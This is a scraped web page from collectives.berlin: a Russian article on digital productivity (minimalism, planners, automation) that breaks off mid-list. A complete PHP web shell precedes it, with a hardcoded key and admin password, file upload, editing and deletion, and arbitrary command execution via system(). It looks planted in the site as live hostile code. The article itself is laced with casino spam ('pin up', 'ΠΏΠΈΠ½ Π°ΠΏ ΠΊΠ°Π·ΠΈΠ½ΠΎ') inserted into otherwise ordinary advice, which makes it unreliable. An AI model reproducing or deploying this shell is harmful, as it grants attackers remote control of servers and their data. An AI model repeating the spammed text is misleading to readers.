if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '
'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎ Π½Π°Π²Ρ‹ΠΊΠΈ для Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ – collectives.berlin

Your digital paradise.

collectives.berlin

ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎ Π½Π°Π²Ρ‹ΠΊΠΈ для Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ

ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎ Π½Π°Π²Ρ‹ΠΊΠΈ для Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ

Π—Π°Ρ‡Π΅ΠΌ ΠΈΠ½Π½ΠΎΠ²Π°Ρ†ΠΈΠΈ Π² состоянии Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠΎΡ‰Π½ΠΈΠΊΠΎΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΡΡ‚ΠΈ

Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ ΠΌΠΈΡ€ слоТно Π²ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π±Π΅Π· ΠΈΠ½Π½ΠΎΠ²Π°Ρ†ΠΈΠΉ: ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Ρ‹, лэптопы, ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Π΅ сСрвисы ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π·Π° нас Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ этапС. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ вовсС Π½Π΅ всСгда Π΄Π°Π½Π½Ρ‹Π΅ инструмСнты Π΄Π΅Π»Π°ΡŽΡ‚ нас эффСктивнСС. НСрСдко ΠΌΡ‹ оказываСмся Π² ΠΊΠ°ΠΏΠΊΠ°Π½Π΅ бСсконСчных ΠΈΠ·Π²Π΅Ρ‰Π΅Π½ΠΈΠΉ, пустого скроллинга Π»Π΅Π½Ρ‚Ρ‹ ΠΈΠ»ΠΈ прокрастинации Π·Π° Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ. ВсС ΠΆΠ΅, Ссли ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΡŽ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ осознанно, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡ‚Π°Ρ‚ΡŒ Π²Π»ΠΈΡΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΎΠΌΠΎΡ‰Π½ΠΈΠΊΠΎΠΌ Π² ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ расписания, Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ ΡƒΡ‡Π΅Π±Π΅.

Π‘Π΅ΠΊΡ€Π΅Ρ‚ ΠΊ Ρ‚Ρ€ΠΈΡƒΠΌΡ„Ρƒ – Π²Ρ‹Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ эффСктивныС Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π΅ Π½Π°Π²Ρ‹ΠΊΠΈ. Π­Ρ‚ΠΎ Π½Π΅ просто вопрос Π²Ρ‹Π±ΠΎΡ€Π° устройств ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ pin up, Π½ΠΎ ΠΈ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π³Ρ€Π°ΠΌΠΎΡ‚Π½ΠΎ ΠΈΡ… Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ Π² ΠΎΠ±Ρ‹Π΄Π΅Π½Π½ΡƒΡŽ Тизнь. Π’ Π΄Π°Π½Π½ΠΎΠΉ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ я расскаТу ΠΎ самых Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… Π½Π°Π²Ρ‹ΠΊΠ°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΈ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ Π΄Π°Π²Π»Π΅Π½ΠΈΠ΅.

Π¦ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ минимизация: мСньшСС количСство – Π·Π½Π°Ρ‡ΠΈΡ‚ Π»ΡƒΡ‡ΡˆΠ΅Π΅

Π’ ΠΏΡ€ΠΎΡˆΠ»Ρ‹Π΅ Π³ΠΎΠ΄Ρ‹ всС ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰ΡƒΡŽΡΡ Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π½Π°Π±ΠΈΡ€Π°Π΅Ρ‚ идСя Π΄ΠΈΠ΄ΠΆΠΈΡ‚Π°Π» ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΠΈΠ·ΠΌΠ°. Π•Π΅ основа – взвСшСнноС рСдукция объСма ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… инструмСнтов Π΄ΠΎ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹Ρ…. МногиС ΡŽΠ½Ρ‹Π΅ пСрсоны ΠΎΡ‚ΠΌΠ΅Ρ‡Π°ΡŽΡ‚: Ρ‡Π΅ΠΌ большС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ ΠΈ сСрвисов pin up установлСно Π½Π° дСвайсС, Ρ‚Π΅ΠΌ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Ρ‚Ρ€Π΅Π²ΠΎΠ³ΠΈ ΠΈ слоТнСС ΡΡ„ΠΎΠΊΡƒΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ.

Как Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСктронный ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΠΈΠ·ΠΌ

  • ΠžΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚Π΅ ΠΎΡ†Π΅Π½ΠΊΡƒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ.
    ВзглянитС Π½Π° свой мобильник ΠΈ Π½ΠΎΡƒΡ‚Π±ΡƒΠΊ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ: сколько ΠΈΠ· инсталлированных ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π²Ρ‹ задСйствуСтС хотя Π±Ρ‹ Ρ€Π°Π· Π² сСмь Π΄Π½Π΅ΠΉ? Π£Π΄Π°Π»ΠΈΡ‚Π΅ всякоС лишнСС.
  • Π”Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΈΠ·Π±Ρ‹Ρ‚ΠΎΡ‡Π½Ρ‹Π΅ оповСщСния.
    ΠŸΡ€Π΅ΠΈΠΌΡƒΡ‰Π΅ΡΡ‚Π²Π΅Π½Π½ΠΎ ΠΈΠ·Π²Π΅Ρ‰Π΅Π½ΠΈΠΉ Π½Π΅ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‚ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΠ»ΠΈΠΊΠ°. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ самыС Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ Π²Π°ΠΆΠ½Ρ‹ – Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сообщСния ΠΎΡ‚ Ρ€ΠΎΠ΄Π½Ρ‹Ρ… ΠΈΠ»ΠΈ увСдомлСния ΠΎ ΠΌΠΈΡ‚ΠΈΠ½Π³Π°Ρ….
  • Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΎΠ΄Π½ΠΎΠ·Π°Π΄Π°Ρ‡Π½Ρ‹Π΅ прилоТСния.
    ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ с Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ ассортимСнтом Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ рассСянности. Π‘ΠΊΠ°ΠΆΠ΅ΠΌ, для Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ Π»ΡƒΡ‡ΡˆΠ΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ Π±Π΅Π· соцсСтСй ΠΈ объявлСний.

Π¦ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΠΈΠ·ΠΌ Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚ΠΊΠ°Π· ΠΎΡ‚ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ – Π²ΠΎΠΏΡ€Π΅ΠΊΠΈ этому, это ΠΏΡƒΡ‚ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ устройства ΠΏΠΈΠ½ Π°ΠΏ своими союзниками, Π° Π½Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ стрСсса.

ΠŸΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ с использованиСм ΠΎΠ½Π»Π°ΠΉΠ½ инструмСнтария

Одна ΠΈΠ· основных вопросов Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ личности – Π½Π΅Ρ€Π°Π·Π±Π΅Ρ€ΠΈΡ…Π° Π² Π΄Π΅Π»Π°Ρ… ΠΈ потСря ΠΌΠΈΠ½ΡƒΡ‚ Π½Π° пустяки. Π’ΡƒΡ‚ Π½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΡΠ²Π»ΡΡŽΡ‚ΡΡ прилоТСния для управлСния Π·Π°Π΄Π°Ρ‡ (task managers), Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ ΠΈ напоминания.

ΠŸΠΎΠ΄Π±ΠΎΡ€ подходящСго инструмСнта

Π’ России вострСбованы Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹, ΠΊΠ°ΠΊ Notion, Todoist, ΠΏΠΈΠ½ Π°ΠΏ ΠΊΠ°Π·ΠΈΠ½ΠΎ, Google Calendar ΠΈ ЯндСкс.ΠšΠ°Π»Π΅Π½Π΄Π°Ρ€ΡŒ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… этих ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ свои прСимущСства:

  • Notion – ΠΌΠ½ΠΎΠ³ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ инструмСнт для создания записСй, ΠΏΠ΅Ρ€Π΅Ρ‡Π½Π΅ΠΉ Π΄Π΅Π» ΠΈ Π΄Π°ΠΆΠ΅ Π»ΠΈΡ‡Π½ΠΎΠΉ Π±Π°Π·Ρ‹ Π·Π½Π°Π½ΠΈΠΉ.
  • Todoist – Π»Π΅Π³ΠΊΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ для ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ поручСниями с Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΈΠ½ΠΈΡ†ΠΈΠ°Ρ‚ΠΈΠ² ΠΈ ярлыков.
  • Google ΠšΠ°Π»Π΅Π½Π΄Π°Ρ€Π΅ΠΌ – ΡƒΠ΄ΠΎΠ±Π΅Π½ для ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ†ΠΈΠΈ встрСч Π½Π° многочислСнными дСвайсами.
  • ЯндСкс.ΠšΠ°Π»Π΅Π½Π΄Π°Ρ€ΡŒ – взаимодСйствиС с ΠΏΡ€ΠΎΡ‡ΠΈΠΌΠΈ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ Yandex ΠΈ ΡƒΡ‡Π΅Ρ‚ российских Π²Ρ‹Ρ…ΠΎΠ΄Π½Ρ‹Ρ….

ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ Π·Π°ΠΊΠΎΠ½ – ΠΏΠΎΠ΄ΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½-Π΄Π²Π° срСдства ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… систСматичСски.

Каким способом ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅

Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ€Π°Π½Π½ΠΈΠΉ обряд: запуститС дСнь с пСрСчислСния ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° Π·Π°Π΄Π°Ρ‡ ΠΏΠΈΠ½ Π°ΠΏ ΠΈ опрСдСлСния очСрСдности. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ впСчатлСния ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠΈ.

РаздСляйтС большиС Ρ†Π΅Π»ΠΈ Π½Π° ΠΏΠΎΠ΄Π·Π°Π΄Π°Ρ‡ΠΈ: Ссли Π·Π°Π΄Π°Π½ΠΈΠ΅ каТСтся слишком Π³Ρ€ΠΎΠΌΠΎΠ·Π΄ΠΊΠΈΠΌ, Ρ€Π°Π·Π»ΠΎΠΆΠΈΡ‚Π΅ Π΅Π³ΠΎ Π½Π° нСбольшиС шаги. НапримСр, Π² Ρ‚ΠΎΠΌ случаС, Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π΅Ρ„Π΅Ρ€Π°Ρ‚ ΠΏΠΎ истории России XIX Π²Π΅ΠΊΠ°, задСйствуйтС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ pin up для планирования сначала ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ², Π·Π°Ρ‚Π΅ΠΌ написания ΠΏΠ»Π°Π½Π°, Π΄Π°Π»Π΅Π΅ составлСния Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊΠ° ΠΈ Ρ‚.Π΄.

РСгулярно пСрСсматривайтС свои замыслы: ΠΎΡ‚Π²ΠΎΠ΄ΠΈΡ‚Π΅ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» Ρ€Π°Π· Π² нСдСлю для ΠΎΡ†Π΅Π½ΠΊΠΈ исполнСнных ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΡΡ‚Π² ΠΈ измСнСния ΠΏΠ»Π°Π½ΠΎΠ².

Π­Ρ‚ΠΈ нСслоТныС дСйствия, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΠΈΠ½ Π°ΠΏ, ΡΠΏΠΎΡΠΎΠ±ΡΡ‚Π²ΡƒΡŽΡ‚ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Π΄Π΅Π»Π°ΠΌΠΈ Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ высокой загруТСнности ΡƒΡ‡Π΅Π±ΠΎΠΉ ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ.

Автоматизация Ρ€ΡƒΡ‚ΠΈΠ½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ

Π’Π΅Ρ…Π½ΠΈΠΊΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ количСство Ρ€ΡƒΡ‚ΠΈΠ½Π½Ρ‹Ρ… процСссов: начиная с классификации сообщСний с ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ срСдств pin up Π΄ΠΎ Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠ³ΠΎ копирования Π΄Π°Π½Π½Ρ‹Ρ…. Π”Π°Π½Π½ΠΎΠ΅ высвобоТдаСт часы для Π±ΠΎΠ»Π΅Π΅ Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ… занятий.

ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ кСйсы Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ

  1. Π€ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΡ Π² e-mail
    Π­Π»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½Ρ‹Π΅ услуги (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Gmail ΠΈΠ»ΠΈ ЯндСкс.ΠŸΠΎΡ‡Ρ‚Π°) Π΄Π°ΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹: сообщСния ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… адрСсатов автоматичСски ΠΏΠΎΠΏΠ°Π΄Π°ΡŽΡ‚ Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅Ρ‡Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Π΅.
  2. Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹ для Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠ³ΠΎ дублирования
    Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹Ρ… Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ (Google Drive, ЯндСкс.Диск) ΠΌΠΎΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Π²Ρ‚ΠΎ согласованиС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² срСди Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π°ΠΌΠΈ.
  3. Роботизация повсСднСвных Π΄Π΅Π»
    Π£ΠΌΠ½Ρ‹Π΅ Π²ΠΈΠ»ΠΊΠΈ ΠΈΠ»ΠΈ ΡΠ²Π΅Ρ‚ΠΈΠ»ΡŒΠ½ΠΈΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Xiaomi Mi Smart Plug) ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ΠΈΡ‚ΡŒ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΎΠΉ ΠΏΠΎ Ρ€Π°ΡΠΏΠΈΡΠ°Π½ΠΈΡŽ Ρ‡Π΅Ρ€Π΅Π· смартфон.
  4. ИспользованиС IFTTT или Zapier
